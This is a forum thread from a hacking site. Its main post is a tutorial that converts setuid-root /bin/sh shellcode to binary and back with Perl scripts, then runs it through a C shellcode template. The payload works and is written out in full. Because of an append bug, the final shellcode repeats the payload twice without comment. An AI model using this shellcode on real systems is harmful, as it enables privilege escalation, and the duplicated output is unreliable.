Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-23-2013, 01:35 PM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Programming › Assembly v
« Previous 1 2 3 Next »

How to Code in 1 and 0 (Binary)

Home General Computer Multimedia Business Lounge

Pages (2): 1 2 Next »
Post Reply 
Tweet
Threaded Mode | Linear Mode
How to Code in 1 and 0 (Binary)
01-16-2011, 02:31 PM
Post: #1
mywisdom Offline
Administrator
*******
Administrators
Posts: 921
Joined: Dec 2009
Reputation: 44
How to Code in 1 and 0 (Binary)
How to Code in 1 and 0 (Binary)

Author: mywisdom


-------------------------------------------------
"Real Programmers know how to code in 1 and 0"
10101010101010101010101010101010101010101010101010


There are tons of programming language. They are classified into 2 type:
1.Low-level programming language (machine codes)
2.High-level programming language (c,pascal,cobol,lisp,etc)

In front on my eyes, i divide them into 5 (u dont need to be the same as me):
1. very high: perl, python
2. high : c, cobol,lisp
3. medium: assembly
4. low: hex codes
5. very2 low: 1 and 0

Today we're gonna play around with 1 and 0.

As a sample of this setuid assembly code made by my friend ian182, We're gonna find out how it looks like in 1 and 0:
--------ian182 setuid asm code------------
global _start
section .text
_start:
xor ecx,ecx
mov eax,0x17
int 80h
push ecx
push 0x68732f6e
push 0x69622f2f
mov ebx,esp
mov eax,0xb
int 80h
--------------------------------------------------


mywisdom@mywisdom-Vostro1310:~/Documents$ nasm -f elf setuid.asm
mywisdom@mywisdom-Vostro1310:~/Documents$ ld -o setuid setuid.o
mywisdom@mywisdom-Vostro1310:~/Documents$ ./setuid
$ exit





Here we can see some hex of this :
mywisdom@mywisdom-Vostro1310:~/Documents$ objdump -d setuid

setuid: file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060: 31 c9 xor %ecx,%ecx
8048062: b8 17 00 00 00 mov $0x17,%eax
8048067: cd 80 int $0x80
8048069: 51 push %ecx
804806a: 68 6e 2f 73 68 push $0x68732f6e
804806f: 68 2f 2f 62 69 push $0x69622f2f
8048074: 89 e3 mov %esp,%ebx
8048076: b8 0b 00 00 00 mov $0xb,%eax
804807b: cd 80 int $0x80
mywisdom@mywisdom-Vostro1310:~/Documents$


So here's the hex:
-----------------------
31 c9 b8 17 00 00 00 cd 80 51 68 6e 2f 73 68 68 2f 2f 62 69 89 e3 b8 0b 00 00 00 cd 80
----------------------

We need to convert some null bytes over there (00)

8048062: b8 17 00 00 00 mov $0x17,%eax -> contains null bytes
8048076: b8 0b 00 00 00 mov $0xb,%eax -> contains null bytes


ok let's see if we use 16 bit registers
------------------
mov $0x17,%ax
mov $0xb,%ax
------------------

so it becomes:
global _start
section .text
_start:
xor ecx,ecx
mov ax,0x17
int 80h
push ecx
push 0x68732f6e
push 0x69622f2f
mov ebx,esp
mov ax,0xb
int 80h

----------------


mywisdom@mywisdom-Vostro1310:~/Documents$ nasm -f elf setuid3.asm
mywisdom@mywisdom-Vostro1310:~/Documents$ ld -o setuid3 setuid3.o
mywisdom@mywisdom-Vostro1310:~/Documents$ objdump -d setuid3

setuid3: file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060: 31 c9 xor %ecx,%ecx
8048062: 66 b8 17 00 mov $0x17,%ax
8048066: cd 80 int $0x80
8048068: 51 push %ecx
8048069: 68 6e 2f 73 68 push $0x68732f6e
804806e: 68 2f 2f 62 69 push $0x69622f2f
8048073: 89 e3 mov %esp,%ebx
8048075: 66 b8 0b 00 mov $0xb,%ax
8048079: cd 80 int $0x80
mywisdom@mywisdom-Vostro1310:~/Documents$

still null bytes, ok what about using 8 bit registers:
mov $0x17,%al
mov $0xb,%al

so here's the objdump:
setuid2: file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060: 31 c9 xor %ecx,%ecx
8048062: b0 17 mov $0x17,%al
8048064: cd 80 int $0x80
8048066: 51 push %ecx
8048067: 68 6e 2f 73 68 push $0x68732f6e
804806c: 68 2f 2f 62 69 push $0x69622f2f
8048071: 89 e3 mov %esp,%ebx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
mywisdom@mywisdom-Vostro1310:~/Documents$



no more null bytes. so the hex will be:

\x31\xc9\xb0\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80

and after that we can find out what is binary code for that hex,let's save this hex: (here i replace \x to Z to make easy split )
Z31Zc9Zb0Z17ZcdZ80Z51Z68Z6eZ2fZ73Z68Z68Z2fZ2fZ62Z69Z89Ze3Zb0Z0bZcdZ80

into a file , ex: setuid.hex


here a simple tool in perl to get binary (1 and 0 ) code of that hex:

#!/usr/bin/perl
#conv.pl
#made by : mywisdom
#simple hex to binary converter
$file=$ARGV[0];
print "\nconverting hex at $file into binary\n";

open(PIPA, "cat $file |");
$hasil = <PIPA>;
close(PIPA);
print "\nhex:$hasil\n";

@pecahan = split("Z", $hasil);
open (MYFILE, '>>setuid.bin');
foreach $hex (@pecahan)
{
$dec = hex($hex);
$bin = sprintf("%b", $dec);

if($bin ne 0)
{
print "binary:$bin\n";
print MYFILE $bin."\n";
}
}
close(MYFILE);


------------------

root@mywisdom-Vostro1310:/home/mywisdom/Documents# ./conv.pl setuid.hex

converting hex at setuid.hex into binary

hex:Z31Zc9Zb0Z17ZcdZ80Z51Z68Z6eZ2fZ73Z68Z68Z2fZ2fZ62Z69Z89Ze3Zb0Z0bZcdZ80

binary:110001
binary:11001001
binary:10110000
binary:10111
binary:11001101
binary:10000000
binary:1010001
binary:1101000
binary:1101110
binary:101111
binary:1110011
binary:1101000
binary:1101000
binary:101111
binary:101111
binary:1100010
binary:1101001
binary:10001001
binary:11100011
binary:10110000
binary:1011
binary:11001101
binary:10000000
root@mywisdom-Vostro1310:/home/mywisdom/Documents# cat setuid.bin
110001
11001001
10110000
10111
11001101
10000000
1010001
1101000
1101110
101111
1110011
1101000
1101000
101111
101111
1100010
1101001
10001001
11100011
10110000
1011
11001101
10000000
110001
11001001
10110000
10111
11001101
10000000
1010001
1101000
1101110
101111
1110011
1101000
1101000
101111
101111
1100010
1101001
10001001
11100011
10110000
1011
11001101
10000000
root@mywisdom-Vostro1310:/home/mywisdom/Documents#

-----------------------------------



So here are c0d3s that processor executes:
110001
11001001
10110000
10111
11001101
10000000
1010001
1101000
1101110
101111
1110011
1101000
1101000
101111
101111
1100010
1101001
10001001
11100011
10110000
1011
11001101
10000000
110001
11001001
10110000
10111
11001101
10000000
1010001
1101000
1101110
101111
1110011
1101000
1101000
101111
101111
1100010
1101001
10001001
11100011
10110000
1011
11001101
10000000


From that setuid.bin we can convert back to hex (shellcode), here a simple tool to make shellcode from binary 1 and 0:



prepare a shellcode template (ex : template.c):
------------------------------------
#include <stdio.h>
char code[] = "shellc0de goes here";
int main()
{
(*(void(*)()) code)();
return 0;
}
-----------------------------------
save it as template.c (just sample)

Here a simple perl c0d3s to convert above setuid.bin into hex and insert it into that shellcode template:

-----------------------------
#!/usr/bin/perl
#conv2.pl
#by: mywisdom
#simple binary lists converter to shellcode and insert it into our template.c
$file_that_contains_binary_lists_to_convert = $ARGV[0];
open(file_that_contains_binary_lists_to_convert) or die("Could not open !!!");
print "-----------------------------------------\n";

foreach $line (<file_that_contains_binary_lists_to_convert>)
{
chomp($line);
$decimal = oct( "0b$line" );
$hex = sprintf("%x", $decimal);
if($hex ne 0)
{
if(length($hex)<2)
{
$hex="0".$hex;
}
print "\n$hex\n";
$shellc0de.="\\x".$hex
}

print "\n$shellc0de\n";
system("echo '$shellc0de' > shellcode");
}

--------------------------------------


and finally here goes our shellcode

root@mywisdom-Vostro1310:/home/mywisdom/Documents# cat shellcode
\x31\xc9\xb0\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\x31\xc9\xb0\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80


inserting into template becomes:



#include <stdio.h>
char code[] = "\x31\xc9\xb0\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\x31\xc9\xb0\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80";
int main()
{
(*(void(*)()) code)();
return 0;
}
Find all posts by this user
Quote this message in a reply
01-16-2011, 04:21 PM
Post: #2
zer03s Away
ExploiteR devilzc0de
Posts: 1,330
Joined: Jan 2010
Reputation: 33
RE: How to Code in 1 and 0 (Binary)
puyeng dah...
senampagisenampagisenampagi
Visit this user's website Find all posts by this user
Quote this message in a reply
01-16-2011, 04:35 PM
Post: #3
jurank_dankkal Away
./Devilz Advisor
Posts: 539
Joined: Dec 2009
Reputation: 32
RE: How to Code in 1 and 0 (Binary)
susah amat ne assembly...
Visit this user's website Find all posts by this user
Quote this message in a reply
01-16-2011, 05:25 PM
Post: #4
tian hv Offline
./Sampah Masyarakat
Posts: 486
Joined: Mar 2010
Reputation: 18
RE: How to Code in 1 and 0 (Binary)
(01-16-2011 04:21 PM)zer03s Wrote:  puyeng dah...
senampagisenampagisenampagi

sama om..
klo ane sih

deaddeaddead
Visit this user's website Find all posts by this user
Quote this message in a reply
01-16-2011, 06:44 PM
Post: #5
htmlsinting Offline
./Devilz 1st Cadet
Posts: 27
Joined: Jan 2011
Reputation: 2
RE: How to Code in 1 and 0 (Binary)
(01-16-2011 04:21 PM)zer03s Wrote:  puyeng dah...
senampagisenampagisenampagi

sama dah hmmsenampagisenampagi
Visit this user's website Find all posts by this user
Quote this message in a reply
01-16-2011, 08:02 PM
Post: #6
vhyVizz Offline
Moderator
**
Moderators
Posts: 2,862
Joined: Apr 2010
Reputation: 39
RE: How to Code in 1 and 0 (Binary)
paka bahasa indonesia dong kak dom.. dead
Find all posts by this user
Quote this message in a reply
01-16-2011, 10:56 PM
Post: #7
T3mp3 Offline
0%
***
Posts: 370
Joined: Dec 2009
Reputation: 10
RE: How to Code in 1 and 0 (Binary)
Bahasanya bikin senampagi ribet
Find all posts by this user
Quote this message in a reply
01-17-2011, 03:00 AM (This post was last modified: 01-17-2011 03:01 AM by sang.sakaya.)
Post: #8
sang.sakaya Offline
./Devilz Officer
Posts: 92
Joined: Jan 2011
Reputation: 2
RE: How to Code in 1 and 0 (Binary)
mantap ini bang !
mantapmantap

(01-16-2011 02:31 PM)mywisdom Wrote:  How to Code in 1 and 0 (Binary)

Author: mywisdom


-------------------------------------------------
"Real Programmers know how to code in 1 and 0"
10101010101010101010101010101010101010101010101010

[Image: real_programmers_binary.jpg]
Visit this user's website Find all posts by this user
Quote this message in a reply
01-18-2011, 04:44 PM
Post: #9
ian182 Offline
DC Senior
***
Posts: 425
Joined: Dec 2009
Reputation: 14
RE: How to Code in 1 and 0 (Binary)
keren om dom :-bd ane bookmark dulu
Visit this user's website Find all posts by this user
Quote this message in a reply
01-19-2011, 07:46 AM
Post: #10
Revres Tanur Offline
Adminitraktor
Posts: 661
Joined: Mar 2010
Reputation: 20
RE: How to Code in 1 and 0 (Binary)
(01-16-2011 06:44 PM)htmlsinting Wrote:  
(01-16-2011 04:21 PM)zer03s Wrote:  puyeng dah...
senampagisenampagisenampagi

sama dah hmmsenampagisenampagi

sama ane juga dah
senampagisenampagisenampagisenampagi
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Pages (2): 1 2 Next »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-23-2013, 01:35 PM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE